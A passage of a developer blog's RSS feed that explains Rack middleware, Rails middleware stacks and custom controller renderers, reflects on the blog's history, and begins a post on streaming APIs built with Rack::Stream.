<div class="markdown-heading"><h2 class="heading-element">Middleware Architecture</h2><a id="user-content-middleware-architecture" class="anchor" aria-label="Permalink: Middleware Architecture" href="#middleware-architecture"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><strong>Rack middleware</strong> is a Rack component that manipulates the environment hash
before invoking another Rack component's <code>#call</code> method. Middleware can be
used to modify a request before an application sees it, or modify a response
generated by an application. This is useful for building shared filters that
are independent of the underlying application. For example, to filter the word
'truck' from all response bodies:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">ProfanityFilter</span>
  <span class="pl-c"># Middleware need to accept a downstream Rack component</span>
  <span class="pl-k">def</span> <span class="pl-en">initialize</span><span class="pl-kos">(</span><span class="pl-s1">app</span><span class="pl-kos">)</span>
    <span class="pl-c1">@app</span> <span class="pl-c1">=</span> <span class="pl-s1">app</span>
  <span class="pl-k">end</span>

  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-c"># call underlying application, returning the standard rack response</span>
    <span class="pl-c"># @app is always initialized as the `next` rack component to call</span>
    <span class="pl-s1">status</span><span class="pl-kos">,</span> <span class="pl-s1">headers</span><span class="pl-kos">,</span> <span class="pl-s1">bodies</span> <span class="pl-c1">=</span> <span class="pl-c1">@app</span><span class="pl-kos">.</span><span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>

    <span class="pl-c"># modify response bodies in place</span>
    <span class="pl-s1">bodies</span><span class="pl-kos">.</span><span class="pl-en">map!</span> <span class="pl-kos">{</span>|<span class="pl-s1">body</span>| <span class="pl-s1">body</span><span class="pl-kos">.</span><span class="pl-en">gsub!</span> <span class="pl-sr">/truck/</span><span class="pl-kos">,</span> <span class="pl-s">''</span><span class="pl-kos">}</span>

    <span class="pl-c"># return a valid rack response</span>
    <span class="pl-kos">[</span><span class="pl-s1">status</span><span class="pl-kos">,</span> <span class="pl-s1">headers</span><span class="pl-kos">,</span> <span class="pl-s1">bodies</span><span class="pl-kos">]</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>This middleware is an example of a middleware that modifies the response
generated by a downstream application. Like other Rack components, it also
uses <code>#call</code> as it's entry point. In addition to this, its first constructor
argument has to be another Rack component. The convention is to save this
argument in an instance variable called <code>@app</code>. Middleware can determine when
it wants to call the downstream app, and what to do with the app's response.</p>
<p>By having this stackable chain of middleware components feeding into each
other and manipulating each others' inputs and responses, it makes it possible
to compose application behavior in separate reusable components rather than a
single fat blob of code.</p>
<div class="markdown-heading"><h2 class="heading-element">Composing Middleware</h2><a id="user-content-composing-middleware" class="anchor" aria-label="Permalink: Composing Middleware" href="#composing-middleware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Rack comes builtin with a utility object for composing middlewares and
applications together called <a href="http://m.onkey.org/ruby-on-rack-2-the-builder" rel="nofollow">Rack::Builder</a>. For example the following wraps the <code>ProfanityFilter</code>
middleware around the <code>MyApp</code> application:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">app</span> <span class="pl-c1">=</span> <span class="pl-v">Rack</span>::<span class="pl-v">Builder</span><span class="pl-kos">.</span><span class="pl-en">new</span> <span class="pl-k">do</span>
  <span class="pl-en">use</span> <span class="pl-v">ProfanityFilter</span>
  <span class="pl-en">run</span> <span class="pl-v">MyApp</span>
<span class="pl-k">end</span>

<span class="pl-v">Rack</span>::<span class="pl-v">Handler</span>::<span class="pl-v">WEBrick</span><span class="pl-kos">.</span><span class="pl-en">run</span><span class="pl-kos">(</span><span class="pl-v">MyApp</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-pds">:Port</span> <span class="pl-c1">=&gt;</span> <span class="pl-c1">3000</span><span class="pl-kos">}</span><span class="pl-kos">)</span></pre></div>
<p>To further remove boilerplate code, Rack comes with a convenience executable
called <code>rackup</code> that allows you to swap out servers without any code. When run
without arguments, <code>rackup</code> looks for a file named <code>config.ru</code> to configure a
<code>Rack::Builder</code> instance:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># sample 'config.ru' evaluated within a Rack::Builder instance</span>
<span class="pl-en">use</span> <span class="pl-v">ProfanityFilter</span>
<span class="pl-en">run</span> <span class="pl-v">MyApp</span></pre></div>
<p>Then to run the application from the commandline:</p>
<pre><code>&gt; rackup config.ru
&gt; rackup -s thin -p 4000  # use thin as a server and run on port 4000
</code></pre>
<p>Any additional arguments passed to <code>use</code> will be passed to the contructor of
the middleware. Remember that the first argument of a middleware is always the
downstream Rack component:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># extra arguments are passed into the middleware constructor</span>
<span class="pl-en">use</span> <span class="pl-v">Rack</span>::<span class="pl-v">Session</span>::<span class="pl-v">Cookie</span><span class="pl-kos">,</span> <span class="pl-pds">:key</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'rack.session'</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Adding Functionality via Middleware</h2><a id="user-content-adding-functionality-via-middleware" class="anchor" aria-label="Permalink: Adding Functionality via Middleware" href="#adding-functionality-via-middleware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Multiple Rack components can manipulate the environment hash serially without
knowing what other rack components are being used. Each component run after
the last, and its own response is passed back to the component above it.
Sometimes a middleware will inject additional functionality into the
environment hash for downstream components to use. One example is
<a href="http://rack.rubyforge.org/doc/classes/Rack/Session/Cookie.html" rel="nofollow">Rack::Session::Cookie</a>, a middleware that adds a <code>env['rack.session']</code>
object for downstream apps to use.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">use</span> <span class="pl-v">Rack</span>::<span class="pl-v">Session</span>::<span class="pl-v">Cookie</span>

<span class="pl-en">run</span> <span class="pl-en">lambda</span> <span class="pl-kos">{</span>|<span class="pl-s1">env</span>|
  <span class="pl-c"># Rather than manipulating cookies ourselves, the upstream middleware gave</span>
  <span class="pl-c"># us a helper object to set and read cookies</span>

  <span class="pl-en">puts</span> <span class="pl-s1">env</span><span class="pl-kos">[</span><span class="pl-s">'rack.session'</span><span class="pl-kos">]</span>  <span class="pl-c"># read what's in our session</span>
  <span class="pl-s1">env</span><span class="pl-kos">[</span><span class="pl-s">'rack.session'</span><span class="pl-kos">]</span><span class="pl-kos">[</span><span class="pl-s">'some_key'</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'some_value'</span>  <span class="pl-c"># written to cookie for us</span>
<span class="pl-kos">}</span></pre></div>
<p>Because the environment hash is a plain old Ruby hash, you can decorate it
with any functionality you want. Typically the convention is to use string
keys and to namespace the key by the project name. For example, <a href="https://github.com/intridea/omniauth">OmniAuth</a>
is a Rack library that allows applications to plugin different authentication
providers. When authentication completes, the relevant auth information is
given in an <code>env['omniauth.auth']</code> hash. The values don't have to be Ruby
primitive objects either. In <a href="https://github.com/intridea/rack-stream">Rack::Stream</a>, a library for building
streaming Ruby webapps, <code>env['stream.app']</code> is a <a href="https://github.com/intridea/rack-stream/blob/master/lib/rack/stream/app.rb">Rack::Stream::App</a>
instance that has callable methods and features that can be used downstream.
The contract of what's made available downstream is up to individual
libraries, but the separate between each layer helps keep the components
separate and well factored.</p>
<div class="markdown-heading"><h3 class="heading-element">Rails on Rack</h3><a id="user-content-rails-on-rack" class="anchor" aria-label="Permalink: Rails on Rack" href="#rails-on-rack"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Rails is one of the best examples of a complex chain of middleware in action.
In fact, if you generate a bare Rails app, and run <code>rake middleware</code>, you'll
see:</p>
<pre><code>&gt; rake middleware

use ActionDispatch::Static
use Rack::Lock
use #&lt;ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007f8424bd1a50&gt;
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ParamsParser
use ActionDispatch::Head
use Rack::ConditionalGet
use Rack::ETag
use ActionDispatch::BestStandardsSupport
run MyApp::Application.routes
</code></pre>
<p>Each item in this list processes an incoming environment hash and calls the
Rack component under it in turn. What do all these entries have in common?
They all respond to <code>#call</code>, and they all follow the Rack specification.</p>
<p>The final entry, <code>MyApp::Application.routes</code>, is the routes defined by
<code>config/routes.rb</code> and is an <code>ActionDispatch::Routing::RouteSet</code> object that
maps path info to controller actions. Each Rails controller action is a Rack
endpoint in itself. You can verify this by running the following in a <code>rails console</code>:</p>
<pre><code># assuming a controller named `MyController` with an `index` action:
&gt; rails console
&gt; MyController.action(:show)
#&lt;Proc:0x007ff1ed33bfd0@/Users/jch/.rvm/gems/ruby-1.9.3-p194/gems/actionpack-3.2.6/lib/action_controller/metal.rb:245&gt;
</code></pre>
<p>You can see that fetching an action by name returns a <code>Proc</code> object, which
responds to <code>#call</code>.</p>
<p>For additional Rails specific tips and information on Rack, check out the
Rails guide <a href="http://guides.rubyonrails.org/rails_on_rack.html" rel="nofollow">Rails on
Rack</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Interesting Rack Projects</h2><a id="user-content-interesting-rack-projects" class="anchor" aria-label="Permalink: Interesting Rack Projects" href="#interesting-rack-projects"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<a href="https://github.com/brynary/rack-test/">Rack::Test</a> - test rack middleware and apps. Used by other test frameworks.</li>
<li>
<a href="http://tomayko.com/writings/rack-cache-announce" rel="nofollow">Rack::Cache</a> - one of my
favorites. Teaches you how HTTP caching works, and a very useful middleware.
Also checkout [activesupport-cascadestore](<a href="https://github.com/jch">https://github.com/jch</a>
/activesupport-cascadestore).</li>
<li>
<a href="https://github.com/cyu/rack-cors">Rack::Cors</a> - cross origin resource sharing. Lets you do cross-domain ajax</li>
<li>
<a href="https://github.com/ddollar/rack-profile">Rack::Profile</a> - use ruby's profiler to see what's slow</li>
<li>
<a href="https://github.com/rack/rack-contrib/">rack-contrib</a> - whole bunch of useful middlewares</li>
<li><a href="https://github.com/achiu/rack-recaptcha">Rack::Recaptcha</a></li>
<li>
<a href="https://github.com/jtrupiano/rack-rewrite">Rack::Rewrite</a> - rewrite incoming urls</li>
<li><a href="https://www.ruby-toolbox.com/search?utf8=%E2%9C%93&amp;q=rack-" rel="nofollow">Ruby Toolbox Rack Projects</a></li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Resources</h2><a id="user-content-resources" class="anchor" aria-label="Permalink: Resources" href="#resources"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>[Introducing Rack](<a href="http://chneukirchen.org/blog/archive/2007/02" rel="nofollow">http://chneukirchen.org/blog/archive/2007/02</a>
/introducing-rack.html) - rack's author Christian Neukirchen explains the
rationale behind writing rack.</li>
<li>Railscasts has a <a href="http://railscasts.com/episodes/151-rack-middleware" rel="nofollow">Rack Middleware
screencast</a>.</li>
<li><a href="http://guides.rubyonrails.org/rails_on_rack.html" rel="nofollow">Rails on Rack</a></li>
</ul>
  ]]></description>
</item>

<item>
  <title>Blog Reboot, Lessons Learned</title>
  <link>https://jch.github.io/posts/2012-07-05-blogging-reboot-lessons-learned.html
</link>
  <guid>https://jch.github.io/posts/2012-07-05-blogging-reboot-lessons-learned.html
</guid>
  <pubDate>Thu, 05 Jul 2012 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>It's been four years since I initially started this blog. I had no
expectations or goals for what this blog would be. But now as I read
some of my earlier posts, I find it very humbling to see how I've
grown as a developer, and as a person. I want to highlight a few
old posts that jumped out at me when I read them.</p>
<div class="markdown-heading"><h2 class="heading-element"><a href="/articles/2008/01/27/flaco-blog">Flaco Blog</a></h2><a id="user-content-flaco-blog" class="anchor" aria-label="Permalink: Flaco Blog" href="#flaco-blog"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>In the earliest days of this blog, I think I was more interested in
writing a blogging system than actually blogging. The original code
that generated this site were a kludgey set of Perl scripts that
stitched together markdown content into HTML. It's fun to read my
rationale behind building a blog engine, but in reality, it was a
mistake to build something from scratch rather than to extend an
existing system. Now I'm stuck with it, but at least the <a href="https://github.com/jch/whatcodecraves.com">latest
version</a> is a lot tidier
and more maintainable than my earlier attempts.</p>
<div class="markdown-heading"><h2 class="heading-element"><a href="/articles/2008/03/10/premature-software-testing">Premature Software Testing</a></h2><a id="user-content-premature-software-testing" class="anchor" aria-label="Permalink: Premature Software Testing" href="#premature-software-testing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I laughed at how stupid most of my earlier posts sound, but
this post on premature testing stood out as one of the few posts
that still feel relevant today. In the same vein of overtesting,
I also really enjoyed DHH's post
<a href="http://37signals.com/svn/posts/3159-testing-like-the-tsa" rel="nofollow">Testing like the TSA</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Fresh Starts</h2><a id="user-content-fresh-starts" class="anchor" aria-label="Permalink: Fresh Starts" href="#fresh-starts"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I've enjoyed and learned a lot at each place I've worked at. I
still keep in touch with ex-coworkers, and have met some of my closest
friends through work. While I don't have blog posts going all the way
back, it was fun to read posts for when I started at a new workplace.</p>
<ul>
<li><a href="/articles/2008/09/16/coupa-and-rails2">Coupa and Rails 2</a></li>
<li><a href="/articles/2009/10/30/first-month-of-first-startup">Starting my own Company Outspokes</a></li>
<li><a href="/articles/2010/06/14/starting-at-intridea">New Beginnings: Starting with Intridea</a></li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Going Forward</h2><a id="user-content-going-forward" class="anchor" aria-label="Permalink: Going Forward" href="#going-forward"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>While my technical skills have improved since those early posts,
I still have much to learn. I'm happy that I'm just as excited
to design and program today as I was when I first started. If anything,
the past projects and problems I've tackled have opened up a whole
new realm of challenges for me to take on. I'm excited to see where
I'll go next - both as a developer, and as an individual.</p>
  ]]></description>
</item>

<item>
  <title>And You Thought Render Farms Were Just For Pixar!</title>
  <link>https://jch.github.io/posts/2012-06-14-and-you-thought-render-farms-were-just-for-pixar.html
</link>
  <guid>https://jch.github.io/posts/2012-06-14-and-you-thought-render-farms-were-just-for-pixar.html
</guid>
  <pubDate>Thu, 14 Jun 2012 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Rails views are typically rendered after some controller action is executed. But the code that powers Rails controllers is flexible and extensible enough to create custom rendering objects that can reuse views and helpers, but live outside of web request processing. In this post, I'll cover what a Rails controller is and what it's composed of. I'll also go over how to extend it to create your own custom renderers, and show an example of how you can render views in your background jobs and push the results to your frontend.</p>
<div class="markdown-heading"><h2 class="heading-element">What's a Controller?</h2><a id="user-content-whats-a-controller" class="anchor" aria-label="Permalink: What's a Controller?" href="#whats-a-controller"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>A Rails controller is a subclass of <code>ActionController::Base</code>. The <a href="http://api.rubyonrails.org/classes/ActionController/Base.html" rel="nofollow">documentation</a> says:</p>
<blockquote>
<p>Action Controllers are the core of a web request in Rails. They are made up of one or more actions that are executed on request and then either render a template or redirect to another action. An action is defined as a public method on the controller, which will automatically be made accessible to the web-server through Rails Routes.</p>
</blockquote>
<p>While <code>Base</code> suggests that this is a root class, it actually inherits from <code>ActionController::Metal</code> and <code>AbstractController::Base</code>. Also, some of the core features such as rendering and redirection are actually mixins. Visually, this class hierarchy looks something like:</p>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/cee132acaeba463be3aecd6390be80b6be1146b5fe08b6e27ad3f6924c1c6e84/687474703a2f2f662e636c2e6c792f6974656d732f3162315a324e306b3072334831613374336630502f53637265656e25323053686f74253230323031322d30362d31322532306174253230392e33382e3535253230504d2e706e67"><img src="https://camo.githubusercontent.com/cee132acaeba463be3aecd6390be80b6be1146b5fe08b6e27ad3f6924c1c6e84/687474703a2f2f662e636c2e6c792f6974656d732f3162315a324e306b3072334831613374336630502f53637265656e25323053686f74253230323031322d30362d31322532306174253230392e33382e3535253230504d2e706e67" data-canonical-src="http://f.cl.ly/items/1b1Z2N0k0r3H1a3t3f0P/Screen%20Shot%202012-06-12%20at%209.38.55%20PM.png" style="max-width: 100%;"></a></p>
<p><code>ActionController::Metal</code> is a stripped down version of what we know as controllers. It's a <a href="http://guides.rubyonrails.org/rails_on_rack.html" rel="nofollow">rackable</a> object that understands HTTP. By default though, it doesn't have know anything about rendering, redirection, or route paths.</p>
<p><code>AbstractController::Base</code> is one layer above <code>Metal</code>. This class dispatches calls to known actions and knows about a generic response body. An <code>AbstractController::Base</code> doesn't assume it's being used in an HTTP request context. In fact, if we peek at the source code for <a href="http://api.rubyonrails.org/classes/ActionMailer/Base.html" rel="nofollow">actionmailer</a>, we'll see that it's a subclass of <code>AbstractController::Base</code>, but used in the context of generating emails rather than processing HTTP requests.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">module</span> <span class="pl-v">ActionMailer</span>
  <span class="pl-k">class</span> <span class="pl-v">Base</span> &lt; <span class="pl-v">AbstractController</span>::<span class="pl-v">Base</span>
    <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Logger</span>
    <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Rendering</span>  <span class="pl-c"># &lt;- ActionController::Base also uses</span>
    <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Layouts</span>    <span class="pl-c"># &lt;- these mixins, but for generating</span>
    <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Helpers</span>    <span class="pl-c"># &lt;- HTTP response bodies, instead of email response bodies</span>
    <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Translation</span>
    <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">AssetPaths</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Custom Controller for Background Job Rendering</h2><a id="user-content-custom-controller-for-background-job-rendering" class="anchor" aria-label="Permalink: Custom Controller for Background Job Rendering" href="#custom-controller-for-background-job-rendering"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>For a recent project, I needed to execute flight searches in background jobs against an external API. Initially, I planned to push the search results as a json object and render everything client-side, but I wanted to reuse existing Rails views, helpers, and route path helpers without redefining them in the frontend. Also, because of differing client performance, rendering server-side <a href="http://engineering.twitter.com/2012/05/improving-performance-on-twittercom.html" rel="nofollow">improves page load times for users</a> in this instance. Architecturally, what I wanted looks like:</p>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/8a5ea2e3629e8e070f641e202c4981e1c50b9582144e4d5fcb809df7217d4079/687474703a2f2f662e636c2e6c792f6974656d732f306d303832523135335a3244334c3141307431682f53637265656e25323053686f74253230323031322d30362d31322532306174253230392e34372e3336253230504d2e706e67"><img src="https://camo.githubusercontent.com/8a5ea2e3629e8e070f641e202c4981e1c50b9582144e4d5fcb809df7217d4079/687474703a2f2f662e636c2e6c792f6974656d732f306d303832523135335a3244334c3141307431682f53637265656e25323053686f74253230323031322d30362d31322532306174253230392e34372e3336253230504d2e706e67" data-canonical-src="http://f.cl.ly/items/0m082R153Z2D3L1A0t1h/Screen%20Shot%202012-06-12%20at%209.47.36%20PM.png" style="max-width: 100%;"></a></p>
<p>The requirements for this custom controller were:</p>
<ul>
<li>access to route helpers</li>
<li>renders templates and partials in app/views</li>
</ul>
<p>Unlike a full blown <code>ActionController</code>, this custom controller doesn't need to understand HTTP. All it needs is the result of the flight search from background workers to be able to render an html response.</p>
<p>The full code for the custom controller is:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">SearchRenderer</span> &lt; <span class="pl-v">AbstractController</span>::<span class="pl-v">Base</span>
  <span class="pl-en">include</span> <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">application</span><span class="pl-kos">.</span><span class="pl-en">routes</span><span class="pl-kos">.</span><span class="pl-en">url_helpers</span>  <span class="pl-c"># rails route helpers</span>
  <span class="pl-en">include</span> <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">application</span><span class="pl-kos">.</span><span class="pl-en">helpers</span>             <span class="pl-c"># rails helpers under app/helpers</span>

  <span class="pl-c"># Add rendering mixins</span>
  <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Rendering</span>
  <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Logger</span>

  <span class="pl-c"># Setup templates and partials search path</span>
  <span class="pl-en">append_view_path</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">root</span><span class="pl-kos">}</span></span>/app/views"</span>

  <span class="pl-c"># Instance variables are available in the views,</span>
  <span class="pl-c"># so we save the variables we want to access in the views</span>
  <span class="pl-k">def</span> <span class="pl-en">initialize</span><span class="pl-kos">(</span><span class="pl-s1">search_results</span><span class="pl-kos">)</span>
    <span class="pl-c1">@search_results</span> <span class="pl-c1">=</span> <span class="pl-s1">search_results</span>
  <span class="pl-k">end</span>

  <span class="pl-c"># running this action will render 'app/views/search_renderer/foo.html.erb'</span>
  <span class="pl-c"># with @search_results, and route helpers available in the views.</span>
  <span class="pl-k">def</span> <span class="pl-en">execute</span>
    <span class="pl-en">render</span> <span class="pl-pds">:action</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'foo'</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>A runnable example of this source code is available at <a href="https://github.com/jch/custom-controller-renderer">this github repository</a>.</p>
<p>Breaking down the above code, the first thing we do is inherit from <code>AbstractController::Base</code>:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">SearchRenderer</span> &lt; <span class="pl-v">AbstractController</span>::<span class="pl-v">Base</span>
  <span class="pl-k">def</span> <span class="pl-en">initialize</span><span class="pl-kos">(</span><span class="pl-s1">search_results</span><span class="pl-kos">)</span>
    <span class="pl-c1">@search_results</span> <span class="pl-c1">=</span> <span class="pl-s1">search_results</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>We also save the search results in an instance variable so that our templates can access them later.</p>
<div class="highlight highlight-source-ruby"><pre>  <span class="pl-en">include</span> <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">application</span><span class="pl-kos">.</span><span class="pl-en">routes</span><span class="pl-kos">.</span><span class="pl-en">url_helpers</span>  <span class="pl-c"># rails route helpers</span>
  <span class="pl-en">include</span> <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">application</span><span class="pl-kos">.</span><span class="pl-en">helpers</span>             <span class="pl-c"># rails helpers under app/helpers</span></pre></div>
<p>These methods return Rails route helpers like <code>resource_path</code> and <code>resource_url</code>, and also any helpers defined in <code>app/helpers</code>.</p>
<p>Next we add the mixins we need to be able to call the <code>#render</code> controller method. Calling <code>#append_view_path</code> sets up the view lookup path to be the same as our Rails controller views lookup path.</p>
<div class="highlight highlight-source-ruby"><pre>  <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Rendering</span>
  <span class="pl-en">include</span> <span class="pl-v">AbstractController</span>::<span class="pl-v">Logger</span>

  <span class="pl-en">append_view_path</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">root</span><span class="pl-kos">}</span></span>/app/views"</span></pre></div>
<p>Then we define a controller action named <code>execute</code> that'll render out the response as a string. The <code>#render</code> method used here is very similar to the one used by <code>ActionController</code>.</p>
<div class="highlight highlight-source-ruby"><pre>  <span class="pl-k">def</span> <span class="pl-en">execute</span>
    <span class="pl-en">render</span> <span class="pl-pds">:action</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'foo'</span>
  <span class="pl-k">end</span></pre></div>
<p>To use this renderer object, you need to initialize it with a search results object, and call <code>#execute</code>:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">search_results</span> <span class="pl-c1">=</span> <span class="pl-kos">[</span><span class="pl-kos">{</span><span class="pl-pds">:foo</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">"bar"</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-pds">:foo</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">"baz"</span><span class="pl-kos">}</span><span class="pl-kos">]</span>
<span class="pl-s1">renderer</span> <span class="pl-c1">=</span> <span class="pl-v">SearchRenderer</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-s1">search_results</span><span class="pl-kos">)</span>
<span class="pl-s1">renderer</span><span class="pl-kos">.</span><span class="pl-en">execute</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Summary</h2><a id="user-content-summary" class="anchor" aria-label="Permalink: Summary" href="#summary"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Rails ActionControllers are specific to HTTP, but its abstract parent class can be used to construct objects for generic controller objects for coordinating actions outside of an HTTP context. Custom controller objects can be composed with the available mixins to add common functionality such as rendering. These custom controllers can also share code with existing Rails applications DRY up templates and helpers.</p>
  ]]></description>
</item>

<item>
  <title>Building Streaming REST APIs with Ruby</title>
  <link>https://jch.github.io/posts/2012-05-24-building-streaming-rest-apis-with-ruby.html
</link>
  <guid>https://jch.github.io/posts/2012-05-24-building-streaming-rest-apis-with-ruby.html
</guid>
  <pubDate>Thu, 24 May 2012 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer" href="/images/ben-and-jerrys-ice-cream.png"><img align="right" src="/images/ben-and-jerrys-ice-cream.png" style="max-width: 100%;"></a></p>
Twitter popularized the term "firehose API", to mean a realtime stream of data sent through a persistent connection. But even if you're not a realtime service, streaming APIs are great for pushing data from the backend to clients. They reduce resource usage because the server can decide when it's a good time to send a incremental chunk of data. They can also improve the responsiveness of your user experience.  The same HTTP API can be reused to power multiple different apps. For example, you could write your web frontend with a Javascript frameworks like [Backbone.js](<a href="http://documentcloud.github.com/backbone/">http://documentcloud.github.com/backbone/</a>), but reuse the same API to power a native iOS application. Follow the jump to read about how streaming APIs work, and how you can write one with [Rack::Stream](<a href="https://github.com/intridea/rack-stream">https://github.com/intridea/rack-stream</a>).
<div class="markdown-heading"><h3 class="heading-element">TL;DR</h3><a id="user-content-tldr" class="anchor" aria-label="Permalink: TL;DR" href="#tldr"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="https://github.com/intridea/rack-stream">Rack::Stream</a> is rack middleware that lets you write streaming API endpoints that understand HTTP, WebSockets, and EventSource. It comes with a DSL and can be used alongside other rackable web frameworks such as Sinatra and Grape.</p>
<div class="markdown-heading"><h3 class="heading-element">What's Streaming HTTP?</h3><a id="user-content-whats-streaming-http" class="anchor" aria-label="Permalink: What's Streaming HTTP?" href="#whats-streaming-http"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Normally, when an HTTP request is made, the server closes the connection when it's done processing the request. For streaming HTTP, also known as <a href="http://en.wikipedia.org/wiki/Comet_(programming)" rel="nofollow">Comet</a>, the main difference is that the server doesn't close the connection and can continue sending data to the client at a later time.</p>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/9583bd40a0d3e71a18f9789202c3241bc48cdfc97ad56ad84211e1b2b51ea03e/687474703a2f2f662e636c2e6c792f6974656d732f32503079334f304f3144305632313162327034302f6e6f726d616c2d687474702e706e67"><img src="https://camo.githubusercontent.com/9583bd40a0d3e71a18f9789202c3241bc48cdfc97ad56ad84211e1b2b51ea03e/687474703a2f2f662e636c2e6c792f6974656d732f32503079334f304f3144305632313162327034302f6e6f726d616c2d687474702e706e67" alt="normal http" data-canonical-src="http://f.cl.ly/items/2P0y3O0O1D0V211b2p40/normal-http.png" style="max-width: 100%;"></a></p>
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/37990baf2035a33b104112c5c1242f331a87910fbc465531412a9ac53df3faa6/687474703a2f2f662e636c2e6c792f6974656d732f307530333166314e30583170334d3358317430422f73747265616d696e672d687474702e706e67"><img src="https://camo.githubusercontent.com/37990baf2035a33b104112c5c1242f331a87910fbc465531412a9ac53df3faa6/687474703a2f2f662e636c2e6c792f6974656d732f307530333166314e30583170334d3358317430422f73747265616d696e672d687474702e706e67" alt="streaming http" data-canonical-src="http://f.cl.ly/items/0u031f1N0X1p3M3X1t0B/streaming-http.png" style="max-width: 100%;"></a></p>
<p>To prevent the connection from closing, rack-stream uses Thin's <a href="http://macournoyer.com/blog/2009/06/04/pusher-and-async-with-thin/" rel="nofollow">'async.callback'</a> to defer closing the connection until either the server decides to close the connection, or the client disconnects.</p>
<div class="markdown-heading"><h3 class="heading-element">Rack::Stream</h3><a id="user-content-rackstream" class="anchor" aria-label="Permalink: Rack::Stream" href="#rackstream"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="https://github.com/intridea/rack-stream">Rack::Stream</a> is rack middleware that lets you write streaming HTTP endpoints that can understand multiple protocols. Multiple protocols means that you can write an API endpoint that works with curl, but that same endpoint would also works with WebSockets in the browser. The simplest streaming API you can make is:</p>
